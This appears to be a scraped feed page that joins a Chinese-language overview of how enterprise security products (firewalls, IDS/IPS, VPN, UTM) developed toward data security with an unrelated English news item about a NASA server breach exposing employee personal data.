防火墙(1996-2000年):由于攻击更多来源于外部网络,于是出现了将外网与内网隔离的防火墙,由CheckPoint于1993年发明并引入国际互联网中。防火墙置于内网与外网之间,根据企业的安全政策控制进出网络的访问行为,将攻击隔离在内网之外。最初防火墙以软件形式被安装在企业服务器上,后来为了减少CPU负担,防火墙被集成到ASIC芯片商形成了硬件防火墙。在这个领域的代表公司包括天融信、网神等。天融信在2016年8月时被上市公司南洋股份以57亿的价格收购;网神则被360收购。


从网络安全到数据安全,DT时代信息安全行业将迎来变革

图:天融信防火墙介绍

IDS/IPS(1996-2000年):虽然防火墙能够控制网络访问行为进而隔离攻击,但是防火墙也并不是万能的。防火墙只能检验TCP/IP协议中数据链路层到传输层,无法安全过滤会话层到应用层的非法攻击,比如针对WEB服务的注入攻击等;防火墙无法防御不通过它的连接,比如内网攻击;另外,防火墙采用的是静态安全策略技术,无法动态防御新的非法攻击。于是,出现了针对防火墙无法防护而进入内网的非法攻击的防御产品IDS/IPS,IDS是对非法攻击的检测报警并不阻止攻击,IPS则具备检测和阻止攻击双重职能。通过IDS/IPS起家的公司包括启明星辰(2010年上市,市值189亿)、绿盟科技(2014年上市,市值70亿元)。


从网络安全到数据安全,DT时代信息安全行业将迎来变革
从网络安全到数据安全,DT时代信息安全行业将迎来变革

图:IDS/IPS攻击响应

VPN(2004-2016年):VPN实际上是通过加密的方式架设了一条专门的数据传输的安全通道,即便数据通过外网也无法受到来自外网非法攻击的威胁,进而实现内网的安全访问。在这一领域的代表公司为深信服,2018年5月上市,当前市值354亿元,VPN业务在中国多年市占率第一。


从网络安全到数据安全,DT时代信息安全行业将迎来变革

图:VPN技术原理

UTM(统一威胁管理):边界防护安全产品的核心是防火墙,随着IDS/IPS、VPN等针对防火墙进行补充的技术出现,这些原本以软件形式独立存在的安全产品也逐渐被集中到硬件防火墙中,还包括病毒扫描、网页过滤、应用控制等功能,形成具备多种安全特性的统一管理平台,这就被称为UTM―统一威胁管理。

第三阶段(2014年之后):DT时代-数据安全-数据防护

在2014年,马云曾在一次演讲中提出“人类正从IT时代走向DT时代”,社会开始从传统互联网时代逐渐演进到大数据时代,数据迎来爆发式增长,开始被利用和流通,具备产权和价值,成为未来商业社会的基础经营生产资料之一。这句话在现实中的注脚便是我们发现在2014年前后涌现出一批以大数据为核心逻辑的创业公司,如早期的极光、个推,后来的神策数据、GrowingIO等;各大企业也越来越开始重视业务数据带来的价值,努力推进企业的数字化转型,将数据作为业务发展的指挥棒,业务组织形式也将围绕数据进行。

这为企业信息安全行业带来的挑战和机会是: 在IT时代,围绕网络漏洞概念的边界防护产品已经无法满足企业需求,企业的边界变得越来越模糊,大量的数据来源于各个终端,数据的存储形态也极为多样,数据的流通也变得越来越频繁;而在DT时代,业务将围绕数据进行,数据变得具有价值,数据安全也将得到重视,将出现围绕数据安全的基于企业业务场景的安全服务。

描述DT时代企业信息安全服务的具体内容,包括:

数据更加分散。从数据来源看,终端设备急剧增加,大量数据会停留在终端上,移动端/IoT安全愈加重要;从数据存储看,数据量级爆发后无法全部存储在本地,数据存储多样化,包括本地、公有云、私有云和混合云等多种形态,云安全也变得日益重要;

数据流通加强且流通链条长。IT时代数据大多是静态的不流通的,而DT时代数据则呈现动态流通的状态,为了维护数据安全,需要追踪数据流动的轨迹,包括用户/员工的行为数据、企业文件数据等。

DT时代的企业信息安全将是基于业务场景的数据安全服务,因此针对不同业务场景、不同行业也将存在不同类型的数据安全保障需求,各个细分市场都将蕴含着重要的机会。而信息安全行业的竞争格局也将更加立体,市场的供给端将更加多元,既包括在产业链纵向扩展的传统信息安全厂商,也包括寻找技术落地场景的横向扩展的如大数据、AI等新兴技术厂商,行业边界变得更加模糊,行业的增量市场空间也将逐渐被打开。在DT时代,企业信息安全行业将迎来新一轮变革,基于场景的数据安全服务变得更加碎片化,各方参与者也都将在这样的变革中获得属于自己的机会,未来也将有更多新兴信息安全业态出现。

NASA Employee Personal Identifiable Information at Risk After Servers Compromise ...

$
0
0

NASA has sent out a memo to inform employees of a possible data breach that may have exposed the Social Security numbers and other personally identifiable information (PII) to hackers. The space agency does not believe that Agency mission data was affected by the cyber incidents. Agency personnel from 2006 until 2018 are affected by the possible data exfiltration. This includes NASA Civil Service employees. NASA will offer services such as identity protection services and related resources to affected employees past and present after the investigation is completed.


NASA Employee Personal Identifiable Information at Risk After Servers Compromise ...
Upon discovery of the incidents, NASA cybersecurity personnel took immediate action to secure the servers and the data contained within. NASA and its Federal cybersecurity partners are continuing to examine the servers to determine the scope of the potential data exfiltration and identify potentially affected individuals. This process will take time. The ongoing investigation is a top agency priority, with senior leadership actively involved. NASA is continuing its efforts to secure all servers, and is reviewing its processes and procedures to ensure that the latest security practices are being followed throughout the agency.

Discussion

Posted bycageymaru 3:11 PM (CST)

Viewing all 12749 articles
Browse latest View live